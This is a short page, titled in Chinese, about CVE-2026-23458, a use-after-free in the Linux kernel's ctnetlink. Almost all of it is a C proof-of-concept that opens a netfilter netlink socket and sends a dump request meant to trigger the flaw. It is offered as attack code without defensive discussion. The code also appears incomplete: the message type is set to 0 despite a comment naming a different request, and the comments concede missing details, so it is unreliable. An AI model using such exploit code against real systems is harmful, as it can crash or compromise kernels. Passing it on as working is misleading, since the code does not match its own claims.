CVE-2026-23458 Linux内核ctnetlink释放后重用漏洞

/* * PoC for CVE-2026-23458 * This PoC triggers the use-after-free in ctnetlink_dump_exp_ct * by performing a netlink dump that spans multiple messages. * Compile: gcc -o poc cve_2026_23458.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_NETFILTER 12 int main() { int sock_fd; struct sockaddr_nl sa; char buf[8192]; struct nlmsghdr *nlh; struct iovec iov = { buf, sizeof(buf) }; struct msghdr msg = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 }; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = getpid(); if (bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(sock_fd); return -1; } // Construct a dump request message // Note: Specific attributes required to trigger the exact path may vary memset(buf, 0, sizeof(buf)); nlh = (struct nlmsghdr *)buf; nlh->nlmsg_len = NLMSG_LENGTH(0); nlh->nlmsg_type = 0; // IPCTNL_MSG_CT_GET_EXPECT (Needs specific type setup based on internal kb) nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_pid = getpid(); // Send the request sendmsg(sock_fd, &msg, 0); // Loop to receive messages // The UAF is triggered when the dump spans multiple recvmsg calls while (1) { int len = recvmsg(sock_fd, &msg, 0); if (len < 0) { perror("recvmsg"); break; } if (len == 0) break; if (nlh->nlmsg_type == NLMSG_DONE) { break; } } close(sock_fd); return 0; }